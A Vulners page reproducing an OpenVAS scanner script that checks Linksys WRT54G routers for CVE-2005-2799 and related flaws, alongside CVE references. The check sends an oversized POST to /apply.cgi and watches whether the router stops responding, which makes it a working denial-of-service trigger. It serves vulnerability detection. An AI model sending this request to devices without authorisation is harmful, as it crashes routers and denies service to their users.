Lucene search
+L

Linksys WRT54G Wireless Router < 4.20.7 Multiple Vulnerabilities - Active Check

🗓️ 26 Mar 2006 00:00:00Reported by Copyright (C) 2005 Josh Zlatin-AmishavType 
openvas
 openvas
🔗 plugins.openvas.org👁 28 Views

Linksys WRT54G Wireless Router < 4.20.7 Multiple Vulnerabilities - Active Check. Prone to execute arbitrary commands, download and replace configuration, allow remote attackers to obtain encrypted configuration, and cause denial of service

Related
Refs
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Linksys Wireless Router < 4.20.7 Multiple Vulnerabilities (deprecated)
13 Sep 200500:00
nessus
nessus
Tenable Nessus
Linksys Multiple Vulnerabilities (OF, DoS, more)
28 Oct 200500:00
nessus
attackerkb
ATTACKERKB
CVE-2005-2913
14 Sep 200521:03
attackerkb
circl
Circl
CVE-2005-2799
24 Sep 201000:00
circl
checkpoint_advisories
Check Point Advisories
Belkin Linksys WRT54G / WRT54GS apply.cgi POST Request Buffer Overflow (CVE-2005-2799)
18 Nov 201300:00
checkpoint_advisories
cve
CVE
CVE-2005-2799
15 Sep 200504:00
cve
cve
CVE
CVE-2005-2912
14 Sep 200504:00
cve
cve
CVE
CVE-2005-2914
14 Sep 200504:00
cve
cve
CVE
CVE-2005-2915
14 Sep 200504:00
cve
cve
CVE
CVE-2005-2916
14 Sep 200504:00
cve
Rows per page
# SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20096");
  script_version("2024-05-08T05:05:32+0000");
  script_tag(name:"last_modification", value:"2024-05-08 05:05:32 +0000 (Wed, 08 May 2024)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_cve_id("CVE-2005-2799", "CVE-2005-2912", "CVE-2005-2914", "CVE-2005-2915",
                "CVE-2005-2916");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Linksys WRT54G Wireless Router < 4.20.7 Multiple Vulnerabilities - Active Check");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2005 Josh Zlatin-Amishav");
  script_family("Gain a shell remotely");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("WRT54G/banner");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210218014817/http://www.securityfocus.com/bid/14822/");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=304&type=vulnerabilities");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=305&type=vulnerabilities");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=306&type=vulnerabilities");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=307&type=vulnerabilities");
  script_xref(name:"URL", value:"http://www.idefense.com/application/poi/display?id=308&type=vulnerabilities");
  script_xref(name:"OSVDB", value:"19386");
  script_xref(name:"OSVDB", value:"19387");
  script_xref(name:"OSVDB", value:"19388");
  script_xref(name:"OSVDB", value:"19389");
  script_xref(name:"OSVDB", value:"19390");

  script_tag(name:"summary", value:"Linksys WRT54G Wireless Router devices are prone to multiple
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted request via HTTP POST and checks whether
  the remote host stops responding.");

  script_tag(name:"insight", value:"The firmware version installed on the remote host is prone to
  several flaws:

  - Execute arbitrary commands on the affected router with root privileges.

  - Download and replace the configuration of affected routers via a special POST request to the
  'restore.cgi' or 'upgrade.cgi' scripts.

  - Allow remote attackers to obtain encrypted configuration information and, if the key is known,
  modify the configuration.

  - Degrade the performance of affected devices and cause the Web server to become unresponsive,
  potentially denying service to legitimate users.");

  script_tag(name:"solution", value:"Update to firmware version 4.20.7 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);
if (http_is_dead(port:port))
  exit(0);

banner = http_get_remote_headers(port:port);
if (banner && 'realm="WRT54G"' >< banner) {

  soc = http_open_socket(port);
  if (!soc)
    exit(0);

  len = 11000; # 10058 should be enough
  req = string("POST ", "/apply.cgi", " HTTP/1.0\r\nContent-Length: ", len,
        "\r\n\r\n", crap(len), "\r\n");
  send(socket:soc, data:req);
  http_close_socket(soc);

  sleep(1);

  if(http_is_dead(port:port)) {
    security_message(port:port);
    exit(0);
  }

  exit(99);
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation